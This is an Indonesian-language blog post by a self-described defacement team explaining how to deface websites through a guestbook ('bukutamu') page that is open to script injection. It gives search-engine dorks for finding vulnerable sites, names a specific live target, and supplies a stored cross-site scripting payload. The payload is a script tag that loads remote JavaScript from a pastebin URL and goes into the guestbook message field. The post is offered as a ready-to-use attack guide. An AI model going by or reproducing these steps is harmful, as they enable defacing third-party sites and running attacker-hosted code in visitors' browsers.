Deface Menggunakan BukuTamu Vulnerability

 Hallo sahabat kerens , kali ini gua mau share Cara Deface Menggunakan BukuTamu Vulnerability , sebenarnya gua bingung mau mau ngasih judul apa , tpi ya sudah lah , lanjut saja

// Author   : Fx106

// Team     : Trenggalek 6etar

// page     : https://www.facebook.com/trenggalek6etar/

// Category : Webapps 

// Tested   : http://blog2.sce.dbmania.co.kr/bukutamu.html

// Dork     : 

 inurl:/bukutamu.html site:co.li
intext:SILAHKAN MASUKKAN PESAN ANDA

// Grets    : Sync1337 - CowoKerensTeam - Trenggalek 6etar

// Special  : Anonymous Indonesia - All Defacer Indonesian

// Proof of Concept 

1. Dorking , live target

http://blog2.sce.dbmania.co.kr/bukutamu.html

2. Isi Kolom

Name = Isi bebas [ terserah ]

Email = Isi bebas [ terserah ]

Pesan Anda =  Masukan Script JSO kalian, ini adalah Script Jso punya saya, tinggal kalian edit2 saja

 saya kasih contoh pake sc jso saya 
<script type="text/javascript" src="https://pastebin.com/raw/MKJHLZVD"></script>  
silahkan edit2 sendiri saja :D

Masukan kode verifikasi dengan  benar

3. Kalau sudah semua , lalu klik Send a Message

4. Kalau Vuln nanti akan muncul script anda , dan kalau keluarnya Forbidden berarti ga vuln

Mau Copas ? Sertakan sumber :)

Tweet